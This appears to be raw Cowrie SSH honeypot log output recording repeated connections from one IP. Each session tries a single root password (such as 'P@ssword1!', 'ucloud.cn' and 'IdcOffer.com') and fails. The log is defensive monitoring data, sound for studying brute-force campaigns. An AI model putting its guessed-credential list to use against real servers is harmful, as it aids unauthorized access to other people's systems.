{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:57.059517Z","src_ip":"60.165.124.241","session":"5fccbba54fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"191714.Zyw","message":"login attempt [root/191714.Zyw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:57.782122Z","src_ip":"60.165.124.241","session":"5fccbba54fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:59.022502Z","src_ip":"60.165.124.241","session":"5fccbba54fd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49786,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b2ae5e9208","protocol":"ssh","message":"New connection: 60.165.124.241:49786 (10.17.0.5:22) [session: 27b2ae5e9208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:59.255691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:59.260639Z","src_ip":"60.165.124.241","session":"27b2ae5e9208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:48:59.498325Z","src_ip":"60.165.124.241","session":"27b2ae5e9208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1!","message":"login attempt [root/P@ssword1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:00.223558Z","src_ip":"60.165.124.241","session":"27b2ae5e9208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:01.467315Z","src_ip":"60.165.124.241","session":"27b2ae5e9208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52884,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff09cb3872f","protocol":"ssh","message":"New connection: 60.165.124.241:52884 (10.17.0.5:22) [session: 1ff09cb3872f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:01.701329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:01.713825Z","src_ip":"60.165.124.241","session":"1ff09cb3872f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:01.962574Z","src_ip":"60.165.124.241","session":"1ff09cb3872f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"venus","message":"login attempt [root/venus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:02.704689Z","src_ip":"60.165.124.241","session":"1ff09cb3872f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:03.946436Z","src_ip":"60.165.124.241","session":"1ff09cb3872f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56048,"dst_ip":"10.17.0.5","dst_port":22,"session":"d33e40b7c3c9","protocol":"ssh","message":"New connection: 60.165.124.241:56048 (10.17.0.5:22) [session: d33e40b7c3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:04.178786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:04.183993Z","src_ip":"60.165.124.241","session":"d33e40b7c3c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:04.422307Z","src_ip":"60.165.124.241","session":"d33e40b7c3c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"swxa1234","message":"login attempt [root/swxa1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:05.142389Z","src_ip":"60.165.124.241","session":"d33e40b7c3c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:06.381462Z","src_ip":"60.165.124.241","session":"d33e40b7c3c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59238,"dst_ip":"10.17.0.5","dst_port":22,"session":"65d9a686945f","protocol":"ssh","message":"New connection: 60.165.124.241:59238 (10.17.0.5:22) [session: 65d9a686945f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:06.617671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:06.623532Z","src_ip":"60.165.124.241","session":"65d9a686945f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:06.860493Z","src_ip":"60.165.124.241","session":"65d9a686945f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"goodlife","message":"login attempt [root/goodlife] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:07.577995Z","src_ip":"60.165.124.241","session":"65d9a686945f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:08.825129Z","src_ip":"60.165.124.241","session":"65d9a686945f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33800,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d5c35039e29","protocol":"ssh","message":"New connection: 60.165.124.241:33800 (10.17.0.5:22) [session: 5d5c35039e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:09.095489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:09.100290Z","src_ip":"60.165.124.241","session":"5d5c35039e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:09.360008Z","src_ip":"60.165.124.241","session":"5d5c35039e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucloud.cn","message":"login attempt [root/ucloud.cn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:10.130216Z","src_ip":"60.165.124.241","session":"5d5c35039e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:11.388756Z","src_ip":"60.165.124.241","session":"5d5c35039e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37256,"dst_ip":"10.17.0.5","dst_port":22,"session":"89696f3a7956","protocol":"ssh","message":"New connection: 60.165.124.241:37256 (10.17.0.5:22) [session: 89696f3a7956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:11.607491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:11.612185Z","src_ip":"60.165.124.241","session":"89696f3a7956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:11.851491Z","src_ip":"60.165.124.241","session":"89696f3a7956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsed","message":"login attempt [root/qawsed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:12.581622Z","src_ip":"60.165.124.241","session":"89696f3a7956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:13.822311Z","src_ip":"60.165.124.241","session":"89696f3a7956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40484,"dst_ip":"10.17.0.5","dst_port":22,"session":"460ade433adc","protocol":"ssh","message":"New connection: 60.165.124.241:40484 (10.17.0.5:22) [session: 460ade433adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:14.075598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:14.088610Z","src_ip":"60.165.124.241","session":"460ade433adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:14.337394Z","src_ip":"60.165.124.241","session":"460ade433adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hangzhou`1","message":"login attempt [root/Hangzhou`1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:15.089551Z","src_ip":"60.165.124.241","session":"460ade433adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:16.340775Z","src_ip":"60.165.124.241","session":"460ade433adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43466,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ee883096c7","protocol":"ssh","message":"New connection: 60.165.124.241:43466 (10.17.0.5:22) [session: b5ee883096c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:16.605622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:16.610622Z","src_ip":"60.165.124.241","session":"b5ee883096c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:16.869236Z","src_ip":"60.165.124.241","session":"b5ee883096c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"IdcOffer.com","message":"login attempt [root/IdcOffer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:49:17.658309Z","src_ip":"60.165.124.241","session":"b5ee883096c7","protocol":"ssh"}
